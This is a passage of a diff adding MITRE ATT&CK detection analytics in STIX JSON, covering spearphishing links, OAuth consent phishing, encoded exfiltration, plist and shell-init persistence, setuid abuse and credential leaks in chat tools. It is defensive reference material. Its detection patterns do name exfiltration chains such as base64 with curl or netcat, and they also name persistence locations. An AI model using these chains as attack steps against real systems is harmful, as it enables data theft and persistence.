"x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "SuspiciousTLDs", + "description": "List of monitored top-level domains commonly abused in phishing (e.g., .xyz, .top, .tk)." + }, + { + "field": "URLShortenerDomains", + "description": "Domains like bit.ly, tinyurl.com flagged for deeper expansion/inspection." + }, + { + "field": "ClickToExecutionWindow", + "description": "Time threshold between URL click and suspicious process execution." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e08e4dd6-cab5-41c0-b136-1bc8426c25ed", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0107#AN0299", + "external_id": "AN0299" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0299", + "description": "Detection of spearphishing links through mail logs and browser activity. Behavior includes email with suspicious URLs \u2192 user click recorded in mail/web proxy logs \u2192 shell or interpreter launched from browser process.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "Application:Mail", + "channel": "Inbound emails containing hyperlinks from suspicious sources" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve: Execution of scripts or binaries spawned from browser processes" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "NSM:Flow", + "channel": "Outbound requests to domains not previously resolved or associated with phishing campaigns" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MonitoredBrowsers", + "description": "List of browser processes to monitor (e.g., firefox, chrome, chromium)." + }, + { + "field": "PhishingIndicators", + "description": "Custom regex patterns for detecting obfuscated or IDN homograph URLs." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--b18b93d1-3f63-4788-8e26-68db032995e0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0107#AN0300", + "external_id": "AN0300" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0300", + "description": "Correlation of Mail.app logs with Safari/Chrome activity. Suspicious behavior includes email links \u2192 Safari/Chrome accessing newly registered or lookalike domains \u2192 osascript or Terminal spawned unexpectedly.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "macos:unifiedlog", + "channel": "Received messages with embedded or shortened URLs" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "Browser processes launching unexpected interpreters (osascript, bash)" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "macos:unifiedlog", + "channel": "Connections to suspicious domains with mismatched certificate or unusual patterns" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CertificateAnomalies", + "description": "Flag self-signed or mismatched TLS certificates from spearphishing domains." + }, + { + "field": "ExecutionDelayThreshold", + "description": "Suspicious delay between URL click and malicious process spawn." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--cfc7b6bc-2ca3-4407-a835-b40bf6a98efc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0107#AN0301", + "external_id": "AN0301" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0301", + "description": "Detection of OAuth consent phishing or malicious login attempts initiated through spearphishing links. Behavior chain includes inbound email with OAuth URL \u2192 consent page visited \u2192 unusual token grants logged in IdP logs.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "azure:signinLogs", + "channel": "ConsentGrant: Suspicious consent grants to non-approved or unknown applications" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AllowedApps", + "description": "Whitelisted apps permitted for OAuth consent grants." + }, + { + "field": "AnomalousConsentPatterns", + "description": "Patterns of consent from unusual geographies, devices, or unapproved applications." + } + ], + "x_mitre_platforms": [ + "Identity Provider" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--f979bacd-580c-4948-b501-c42dd4a8cb92", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0108#AN0302", + "external_id": "AN0302" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0302", + "description": "Atypical processes (e.g., powershell.exe, regsvr32.exe) encode large outbound traffic using Base64 or other character encodings; this traffic is sent over uncommon ports or embedded in protocol fields (e.g., HTTP cookies or headers).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "Unusual Base64-encoded content in URI, headers, or POST body" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "PayloadEntropyThreshold", + "description": "Adjust to accommodate legitimate compression or encryption patterns in normal web traffic" + }, + { + "field": "ProcessAllowlist", + "description": "Define expected processes initiating outbound traffic to reduce false positives" + }, + { + "field": "AnomalyScoreThreshold", + "description": "Set threshold for how far traffic deviates from baseline protocol structure or size" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--d32cc2a4-60ed-4761-809e-a59cde2a1881", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0108#AN0303", + "external_id": "AN0303" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0303", + "description": "Custom scripts or processes encode outbound traffic using gzip, Base64, or hex prior to exfiltration via curl, wget, or custom sockets. Encoding typically occurs before or during outbound connections from non-network daemons.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "Base64 strings or gzip in URI, headers, or POST body" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "linux:syslog", + "channel": "Unusual outbound transfers from CLI tools like base64, gzip, or netcat" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Tune duration of multi-stage encoding + transfer operations to account for script variability" + }, + { + "field": "UserContext", + "description": "Apply user allow/block list depending on which users normally perform CLI encoding" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--2bf1ce64-970b-4d0d-bf5f-a854fc6d7235", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0108#AN0304", + "external_id": "AN0304" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0304", + "description": "Processes use built-in encoding utilities (e.g., `base64`, `xxd`, or `plutil`) to encode file contents followed by HTTP/HTTPS transfer via curl or custom applications.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "macos:unifiedlog", + "channel": "base64 or curl processes chained within short execution window" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "macos:unifiedlog", + "channel": "HTTP POST with encoded content in user-agent or cookie field" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "EncodedCommandLengthThreshold", + "description": "Minimum byte size of encoded strings to treat as suspicious" + }, + { + "field": "SuspiciousProcessChainDepth", + "description": "Number of chained processes within a short window to treat as a correlated behavior" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--cb428c22-0a5a-44c9-ae63-6b1bedb34fee", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0108#AN0305", + "external_id": "AN0305" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0305", + "description": "ESXi daemons (e.g., hostd, vpxa) are wrapped or impersonated to send large outbound traffic using gzip/Base64 encoding over SSH or HTTP. These actions follow suspicious logins or shell access.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "esxi:shell", + "channel": "base64 or gzip use within shell session" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "esxi:vmkernel", + "channel": "Outbound traffic using encoded payloads post-login" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "ESXiLogs:authlog", + "channel": "Unexpected login followed by encoding commands" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AuthSourceTrustLevel", + "description": "Use to scope encoded traffic suspicion to accounts that should not initiate transfers" + }, + { + "field": "ExfilBurstThreshold", + "description": "Threshold for bursty outbound traffic size deviation from baseline" + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--481966ed-de78-42e4-9c51-c69281a21650", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0109#AN0306", + "external_id": "AN0306" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0306", + "description": "Monitor for unexpected modifications of plist files in persistence or configuration directories (e.g., ~/Library/LaunchAgents, ~/Library/Preferences, /Library/LaunchDaemons). Detect when modifications are followed by execution of new or unexpected binaries. Track use of utilities such as defaults, plutil, or text editors making changes to Info.plist files. Correlate file modifications with subsequent process launches or service starts that reference the altered plist.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "macos:unifiedlog", + "channel": "write: File modifications to *.plist within LaunchAgents, LaunchDaemons, Application Support, or Preferences directories" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "exec: Execution of defaults, plutil, or common editors (vim/nano) targeting plist files" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "macos:unifiedlog", + "channel": "exec: Invocation of /usr/bin/defaults write or /usr/bin/plutil modifying plist keys" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MonitoredDirectories", + "description": "Set of directories where plist modifications are considered suspicious (e.g., ~/Library/LaunchAgents, /Library/LaunchDaemons)" + }, + { + "field": "SuspiciousKeys", + "description": "List of plist keys associated with evasion or persistence (e.g., LSUIElement, LSEnvironment, ProgramArguments)" + }, + { + "field": "TimeWindow", + "description": "Temporal correlation window to link plist file modifications with subsequent suspicious process launches" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--c7d513f4-5113-4031-8125-7f145128c2e1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0110#AN0307", + "external_id": "AN0307" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0307", + "description": "Correlation of chmod operations setting setuid/setgid bits followed by privileged process execution (EUID != UID), especially from user-writable or abnormal paths.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "auditd:SYSCALL", + "channel": "chmod, execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "UserContext", + "description": "Track execution of setuid binaries where UID != EUID or executed from unexpected user context" + }, + { + "field": "FilePathScope", + "description": "Restrict detection to non-standard locations (e.g., /tmp, /home/*, /var/tmp)" + }, + { + "field": "TimeWindow", + "description": "Time delta between chmod setting setuid/gid and process execution to define a suspicious window" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--08314a8b-becd-4853-8a6c-dd5a947b36c0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0110#AN0308", + "external_id": "AN0308" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0308", + "description": "Observation of chmod commands setting setuid/setgid bits, paired with launch of binaries under elevated execution context (e.g., root-owned binaries launched by unprivileged users).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "macos:unifiedlog", + "channel": "chmod command with arguments including '+s', 'u+s', or numeric values 4000\u20136777" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--ee575f4a-2d4f-48f6-b18b-89067760adc1", + "name": "macos:unifiedlog", + "channel": "exec of binary with setuid/setgid and EUID != UID" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "UserContext", + "description": "Monitor execution chains where UID != EUID or child process inherits root without known sudo context" + }, + { + "field": "ExecutionPath", + "description": "Focus on binaries in user-writable locations or abnormal directories" + }, + { + "field": "ChmodPattern", + "description": "Tailor detection to chmod commands that imply privilege elevation via numeric mode or symbolic mode" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--631da3e4-5ecd-4dc9-966a-1c2633f8f24c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0111#AN0309", + "external_id": "AN0309" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0309", + "description": "Detection correlates message events in email and collaboration tools (e.g., Outlook, Teams) that contain regex-like patterns resembling credentials, API keys, or tokens. Anomalous forwarding or bulk copy activity of chat/email content containing secrets is flagged. Suspicious behavior includes users pasting secrets into direct messages or attaching config files with passwords.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "m365:unified", + "channel": "MessageSend, MessageRead, or FileAttached events containing credential-like patterns" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "RegexPatterns", + "description": "Customizable credential-detection regex (e.g., API_KEY=, bearer token formats) depending on enterprise apps in use" + }, + { + "field": "AllowedDomains", + "description": "Exclude known trusted domains or automated system-to-system messages" + }, + { + "field": "TimeWindow", + "description": "Adjust correlation period for bulk credential sharing events" + } + ], + "x_mitre_platforms": [ + "Office Suite" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--bafd38ad-aebd-40f1-9f17-bd63a1c74ba9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0111#AN0310", + "external_id": "AN0310" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0310", + "description": "Detection monitors SaaS collaboration tools (e.g., Slack, Zoom, Jira) for messages or files containing credential-like patterns, or for suspicious API calls retrieving bulk chat histories by non-admin users. Identifies adversary behavior chains where chat logs are queried via APIs or integration bots to systematically extract sensitive material.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "saas:slack", + "channel": "chat.postMessage, files.upload, or discovery API calls involving token/credential regex" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "saas:okta", + "channel": "Unusual OAuth app requesting message-read scopes for Slack/Teams/Jira" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "IntegrationScope", + "description": "Tune to ignore known enterprise bots with message-read access (e.g., DLP scanners)" + }, + { + "field": "RegexPatterns", + "description": "Customizable regex for detecting secret formats (JWT, OAuth tokens, SSH keys)" + }, + { + "field": "UserContext", + "description": "Correlate with user role to filter developers vs standard users" + } + ], + "x_mitre_platforms": [ + "SaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--682bd971-c540-4c16-a25a-b928201a320d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0112#AN0311", + "external_id": "AN0311" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0311", + "description": "Monitoring modification and execution of user or system logon scripts such as in registry Run keys or startup folders.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "WinEventLog:Security", + "channel": "EventCode=4657" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--f42df6f0-6395-4f0c-9376-525a031f00c3", + "name": "WinEventLog:TaskScheduler", + "channel": "EventCode=106" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TargetObject", + "description": "Registry path that may vary by user or policy configuration." + }, + { + "field": "ParentProcessName", + "description": "Can be tuned to known parent processes to reduce false positives." + }, + { + "field": "TimeWindow", + "description": "Logon activity clustered during specific user shifts." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--0f8a0af6-7544-4f29-8e08-6b07dda1337e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0112#AN0312", + "external_id": "AN0312" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0312", + "description": "Detection of changes or execution of shell initialization scripts like .bashrc, .profile, or /etc/profile for persistence.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "EXECVE" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "auditd:PATH", + "channel": "PATH" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "linux:osquery", + "channel": "file_events" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "FilePath", + "description": "Initialization script path that can differ across user and system profiles." + }, + { + "field": "UserContext", + "description": "User-level vs root-level configuration." + }, + { + "field": "TimeWindow", + "description": "Useful to correlate between file change and subsequent execution." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--3b218f49-59ce-44a5-a10b-889c99e78934", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0112#AN0313", + "external_id": "AN0313" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0313", + "description": "Monitoring for modification and execution of login hook scripts or LaunchAgents/LaunchDaemons used for persistence.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd", + "name": "macos:unifiedlog", + "channel": "log" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "fs:fsusage", + "channel": "file" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--74fa567d-bc90-425c-8a41-3c703abb221c", + "name": "macos:osquery", + "channel": "launchd" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "Label", + "description": "LaunchAgent or LaunchDaemon label name, often environment-specific." + }, + { + "field": "ProgramArguments", + "description": "Arguments passed to scripts, which may need tuning by environment." + }, + { + "field": "UserContext", + "description": "Distinguish between user login and system startup agents." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--32199f21-430f-4c91-b2d7-a0b7409cd5f0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0112#AN0314", + "external_id": "AN0314" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0314", + "description": "Detection of modification to ESXi rc.local.d or rc scripts that are used to execute on boot.", + 